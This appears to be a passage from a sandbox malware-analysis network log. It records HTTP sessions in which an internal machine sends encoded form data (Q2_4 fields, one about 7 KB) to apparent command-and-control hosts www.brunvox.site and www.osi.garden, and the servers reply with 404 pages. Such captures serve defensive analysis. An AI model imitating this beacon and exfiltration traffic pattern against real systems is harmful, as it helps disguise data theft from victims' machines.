Nov 5, 2024 15:38:51.290591955 CET	896	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:51 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	49814	203.161.41.204	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:53.816171885 CET	456	OUT	GET /3qrm/?Q2_4=tyeG08MV0U64WH6unwcOXR2sJCf/xqZR+j/9sSFSjjXbCPJ8dUZ7AUStEW8oibqh5p8I6M3vE8IgylEGfxaCpffC+Ti1QKudju6yjlF7VN/fdeOaTvtkuuM=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.brunvox.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:38:54.002469063 CET	911	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:38:53 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	49815	68.65.122.222	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:38:59.203851938 CET	717	OUT	POST /gqtu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.osi.garden Origin: http://www.osi.garden Referer: http://www.osi.garden/gqtu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 53 34 2b 42 32 4b 56 42 2f 45 2b 4c 4a 44 70 4b 59 67 43 35 4e 2f 6e 75 6f 76 66 44 75 38 46 48 34 6a 53 4b 6e 4d 50 72 75 78 6c 59 39 6d 36 77 33 77 74 65 66 6d 70 2f 62 65 63 45 6a 67 44 5a 68 4f 6a 57 36 7a 74 32 72 7a 4b 63 76 2f 70 7a 35 59 44 4b 4b 4e 46 59 64 6e 76 36 34 46 4c 78 77 4b 46 79 38 4f 37 69 61 77 67 6c 53 44 74 35 6d 4a 37 71 51 48 74 4c 67 49 35 51 42 43 34 45 75 4a 6b 4c 79 32 6a 48 58 6c 37 35 47 48 75 59 4d 56 59 54 44 55 53 78 59 2b 59 6b 76 67 43 6e 37 6e 78 44 31 57 2b 4d 55 64 59 76 71 78 62 68 52 2b 64 44 6f 38 34 4c 31 55 45 4c 70 6f 72 31 45 67 3d 3d Data Ascii: Q2_4=S4+B2KVB/E+LJDpKYgC5N/nuovfDu8FH4jSKnMPruxlY9m6w3wtefmp/becEjgDZhOjW6zt2rzKcv/pz5YDKKNFYdnv64FLxwKFy8O7iawglSDt5mJ7qQHtLgI5QBC4EuJkLy2jHXl75GHuYMVYTDUSxY+YkvgCn7nxD1W+MUdYvqxbhR+dDo84L1UELpor1Eg==
Nov 5, 2024 15:38:59.383042097 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 05 Nov 2024 14:38:59 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f [TRUNCATED] Data Ascii: 1339Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< q [TRUNCATED]
Nov 5, 2024 15:38:59.383099079 CET	1289	IN	Data Raw: 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 Data Ascii: Py>Z.sUd3+>VK%dS4/s/Y~>cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb
Nov 5, 2024 15:38:59.383141041 CET	1289	IN	Data Raw: 50 02 2f ea 62 11 8c d6 d9 e1 9c 6e b8 bd 39 ae 85 3e 0e ad 8e 18 9d ce 84 c4 a7 e8 51 68 85 1d c3 8f db 89 bd 03 1b 56 0f b3 79 ac 9b 22 12 8d d5 49 c6 2f 90 b0 db b7 b3 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 Data Ascii: P/bn9>QhVy"I/rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-
Nov 5, 2024 15:38:59.383183002 CET	1289	IN	Data Raw: 57 61 6c 80 b9 47 b4 a3 71 a6 31 ae 3a 99 49 6d 3e 81 e1 de 6b 8b bc dd ce f9 82 5a f9 b9 d8 4b d5 01 3d 4d 61 b9 93 cc a6 1a 57 a9 15 d2 b2 64 89 72 37 ab 17 a7 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 Data Ascii: WalGq1:Im>kZK=MaWdr7q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zl
Nov 5, 2024 15:38:59.383213043 CET	57	IN	Data Raw: d0 35 da 27 2e 7b 76 9b 73 e3 90 f7 f1 f5 88 5c 7b ed 11 79 5e a8 1e 2f df c3 fd f8 ed bf 01 00 00 ff ff 0d 0a 41 0d 0a 03 00 71 2a ab a4 6d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 5'.{vs\{y^/Aq*m'0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	49816	68.65.122.222	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:39:01.923854113 CET	737	OUT	POST /gqtu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.osi.garden Origin: http://www.osi.garden Referer: http://www.osi.garden/gqtu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 53 34 2b 42 32 4b 56 42 2f 45 2b 4c 4a 6e 56 4b 5a 44 71 35 4c 66 6e 68 30 66 66 44 6e 63 46 44 34 6a 4f 4b 6e 4a 69 67 74 45 31 59 6b 44 47 77 30 31 42 65 54 47 70 2f 44 4f 63 42 74 41 44 53 68 4f 65 31 36 32 56 32 72 7a 75 63 76 2b 5a 7a 35 76 76 4c 49 64 46 61 52 48 76 34 38 46 4c 78 77 4b 46 79 38 4f 65 48 61 30 45 6c 54 7a 39 35 30 37 44 70 54 48 74 49 6e 49 35 51 46 43 35 4e 75 4a 6b 31 79 7a 44 2b 58 6d 54 35 47 48 65 59 43 67 73 51 4a 55 54 36 48 75 5a 72 72 52 54 39 38 6d 31 54 6c 78 43 35 64 50 45 41 72 6e 4b 37 4d 4d 70 6e 72 76 6b 35 78 6b 39 6a 72 71 71 75 5a 6c 52 2f 77 4d 76 41 79 35 32 4a 47 6a 46 61 71 32 30 55 38 53 51 3d Data Ascii: Q2_4=S4+B2KVB/E+LJnVKZDq5Lfnh0ffDncFD4jOKnJigtE1YkDGw01BeTGp/DOcBtADShOe162V2rzucv+Zz5vvLIdFaRHv48FLxwKFy8OeHa0ElTz9507DpTHtInI5QFC5NuJk1yzD+XmT5GHeYCgsQJUT6HuZrrRT98m1TlxC5dPEArnK7MMpnrvk5xk9jrqquZlR/wMvAy52JGjFaq20U8SQ=
Nov 5, 2024 15:39:02.104667902 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 05 Nov 2024 14:39:02 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f [TRUNCATED] Data Ascii: 1339Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< q [TRUNCATED]
Nov 5, 2024 15:39:02.104680061 CET	1289	IN	Data Raw: 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 Data Ascii: Py>Z.sUd3+>VK%dS4/s/Y~>cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb
Nov 5, 2024 15:39:02.104686975 CET	1289	IN	Data Raw: 50 02 2f ea 62 11 8c d6 d9 e1 9c 6e b8 bd 39 ae 85 3e 0e ad 8e 18 9d ce 84 c4 a7 e8 51 68 85 1d c3 8f db 89 bd 03 1b 56 0f b3 79 ac 9b 22 12 8d d5 49 c6 2f 90 b0 db b7 b3 72 94 46 da 5c 5a 3b 4b 81 22 fb 82 13 cb 84 36 e4 ed 7c 8b ed 63 02 66 31 Data Ascii: P/bn9>QhVy"I/rF\Z;K"6\|cf1QIB4S*-t"P=:$Y=]eL/H8hXcn7L0qNPXZ;Jn9`q,%neaWP.]>g_l7&wZAC/Hk-EPm-
Nov 5, 2024 15:39:02.104818106 CET	1289	IN	Data Raw: 57 61 6c 80 b9 47 b4 a3 71 a6 31 ae 3a 99 49 6d 3e 81 e1 de 6b 8b bc dd ce f9 82 5a f9 b9 d8 4b d5 01 3d 4d 61 b9 93 cc a6 1a 57 a9 15 d2 b2 64 89 72 37 ab 17 a7 71 a3 8e 34 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d ee 72 6e 7e 32 60 d8 33 d7 Data Ascii: WalGq1:Im>kZK=MaWdr7q4tlVr2cZlbrn~2`3U#]Ea/k}4FeN}N@YNJmLVSVt\nDOg>wNd9-zfx65D"rWg`"HEfSEd,h[X{/6C]s:{&nmLxlZN8d^d0Zl
Nov 5, 2024 15:39:02.104825020 CET	57	IN	Data Raw: d0 35 da 27 2e 7b 76 9b 73 e3 90 f7 f1 f5 88 5c 7b ed 11 79 5e a8 1e 2f df c3 fd f8 ed bf 01 00 00 ff ff 0d 0a 41 0d 0a 03 00 d4 cd 86 24 6d 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 5'.{vs\{y^/A$m'0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	49817	68.65.122.222	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:39:04.640604973 CET	1289	OUT	POST /gqtu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.osi.garden Origin: http://www.osi.garden Referer: http://www.osi.garden/gqtu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 53 34 2b 42 32 4b 56 42 2f 45 2b 4c 4a 6e 56 4b 5a 44 71 35 4c 66 6e 68 30 66 66 44 6e 63 46 44 34 6a 4f 4b 6e 4a 69 67 74 48 56 59 6b 57 4b 77 33 53 56 65 51 47 70 2f 64 65 63 41 74 41 44 4c 68 4f 48 38 36 32 52 4d 72 31 71 63 74 63 68 7a 2f 64 58 4c 42 64 46 61 66 58 76 35 34 46 4b 72 77 4b 31 2b 38 4f 4f 48 61 30 45 6c 54 78 31 35 6a 35 37 70 56 48 74 4c 67 49 35 63 42 43 35 6c 75 4a 39 4e 79 7a 48 78 58 57 7a 35 47 6a 36 59 4f 79 30 51 46 55 54 34 45 75 59 30 72 52 65 6a 38 6d 35 70 6c 78 65 41 64 4d 6b 41 72 44 79 6d 49 4d 6c 74 78 38 59 55 37 6c 42 67 72 5a 47 36 53 58 6f 42 2f 73 4c 50 31 39 69 38 46 68 5a 69 31 47 41 7a 74 6d 51 53 6b 70 66 75 36 57 50 4c 34 69 4e 69 77 4c 30 36 79 77 66 4c 74 59 54 78 62 7a 68 50 4b 4a 46 6a 58 39 47 61 2b 51 54 33 47 77 4b 57 68 2b 78 4b 74 4c 67 57 71 2b 4d 51 74 72 41 6a 73 7a 49 57 50 74 30 6b 74 39 56 6b 53 74 72 6b 63 6f 70 45 61 69 42 72 4c 56 68 55 69 79 69 76 4b 48 79 38 6c 71 6c 70 45 31 73 7a 6d 58 52 67 56 58 61 76 76 72 48 44 4f [TRUNCATED] Data Ascii: Q2_4=S4+B2KVB/E+LJnVKZDq5Lfnh0ffDncFD4jOKnJigtHVYkWKw3SVeQGp/decAtADLhOH862RMr1qctchz/dXLBdFafXv54FKrwK1+8OOHa0ElTx15j57pVHtLgI5cBC5luJ9NyzHxXWz5Gj6YOy0QFUT4EuY0rRej8m5plxeAdMkArDymIMltx8YU7lBgrZG6SXoB/sLP19i8FhZi1GAztmQSkpfu6WPL4iNiwL06ywfLtYTxbzhPKJFjX9Ga+QT3GwKWh+xKtLgWq+MQtrAjszIWPt0kt9VkStrkcopEaiBrLVhUiyivKHy8lqlpE1szmXRgVXavvrHDO+h6WuzXrjW7kRU4UksV659WPcc+t6zx2Qq9niQ+sIJb7JXBSWM9z/y2V6N1yunnO2Um3nDC/mmT8gkx4DhlvnsEmV/VhV+S+u1FYGHAwZDF960IUZrjoFRqGtrhKtPu3d0GV1TfJQ6xr1Cogopwd4mZFNix0oDB5ZKaaQXgfEJ81GDW1AkUNRl0J0lIm91a3S1nbbkca+BL+4AZMBkHgUWBHO6gQG2ZzKVc/ZbHZ8d+8OoVOxYrQUHj/aBXJWhRGEwO/H0rivj3EHZUhePB9zbo1zWwSQ8wfRaCtM+WGMaXGnFEXhncXhk8Y7dpktsHBAAU2rYN20JJQSeesSTKQX0K46T3N9OTt4vLyfArdvwOsqstrdSCIQDKBwE9wDQ91/PMS+RZoboT4QPg/vgXpEw+scer/M6FVF77tn7FxKr/OZ3HWwM
Nov 5, 2024 15:39:04.640657902 CET	5156	OUT	Data Raw: 73 31 67 63 30 65 58 79 57 67 69 51 52 53 6d 73 79 6a 31 50 51 47 52 55 45 59 58 4d 4b 33 50 77 47 4a 67 43 73 59 7a 69 6b 4e 2f 67 30 73 67 72 41 56 4c 41 78 54 79 53 42 59 51 31 76 61 6e 2f 43 6b 36 61 75 53 48 4b 6a 57 52 54 71 56 7a 45 50 78 Data Ascii: s1gc0eXyWgiQRSmsyj1PQGRUEYXMK3PwGJgCsYzikN/g0sgrAVLAxTySBYQ1van/Ck6auSHKjWRTqVzEPx6dYaS9r/7jylOJCAoFQvULkN6GVcoLKv8WmfMSQvyWmgn0c9etI+4+p1NqEPQioG1meMod9iq0KHgmhnKFjTo+sbSivYf66tnDrfZeUefMbJLCNFZA/9HUf5Y3d8uRyTmzUlJ2oYuMF3dnN7tLcXDCadDo5ahD2K9
Nov 5, 2024 15:39:04.640702009 CET	1441	OUT	Data Raw: 6f 6d 4c 59 31 69 38 4c 5a 36 6d 4b 55 6a 41 56 39 43 33 42 55 57 49 44 6c 34 54 64 43 64 2b 49 6c 44 4b 50 48 32 33 57 51 55 53 50 32 42 38 2f 32 6b 69 44 6e 36 6f 6f 47 6c 46 6d 2f 36 69 56 47 57 4f 2b 7a 78 49 66 4a 71 2b 4c 67 78 4a 56 71 44 Data Ascii: omLY1i8LZ6mKUjAV9C3BUWIDl4TdCd+IlDKPH23WQUSP2B8/2kiDn6ooGlFm/6iVGWO+zxIfJq+LgxJVqDJEvZHuRk/mFzd6esj4JBqIPIqOxYwZ6YcHmQ1aiZLamtOg01Y1K/ob+debnKRntdhLNs26mmT5wSLtfS0tSCQ1ARtUtTDkYXok79UkYL4U2MJcS6h5YHTpm2E0aVQDYUEKglA+2OUm4FSmro49+EAAXYNJ9XZjhYP
Nov 5, 2024 15:39:04.830723047 CET	1289	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 05 Nov 2024 14:39:04 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 12 78 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b fa ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f [TRUNCATED] Data Ascii: 1339Zrz_OAJw1xB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N45Hy?jqP:y~+8EYND)~:o5(oEU8hnN},}r:\>[#MwC=TEU>FWjzU;uSn&_.Sqz_JM~(7_E/SyXI>3UNe7A\q`IWhWZJ\|jV70?#GCE[3v8uMWxkp5gjq9_yW^?wkQ{9BdFo^uufl(Oj^UeY>PU#_)?M&F,?{O;Ido77yq,U}:*eLv9Q7MZ~AN]NSZUlA9W$\|-?]>'z:FF7/\|7?v/8]VR>t&$F/)"Keh<7ln< q [TRUNCATED]
Nov 5, 2024 15:39:04.830780983 CET	1289	IN	Data Raw: 0f 50 18 79 1e c8 3e 8e b8 5a 9f 2e 91 fd 9c d7 ef c7 bd 99 73 c0 bc 15 ed d3 55 64 18 f8 33 2b 3e 56 f9 1b c4 4b 25 fd 64 53 34 a0 bc 84 2f 73 bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 Data Ascii: Py>Z.sUd3+>VK%dS4/s/Y~>cy~TVF/0{]s HnzB}Y/@_y,0k"1Rlc#Wy$fj!fu{U%f>L1-0f*gP?)>_<v.e)o{#[dqKCb
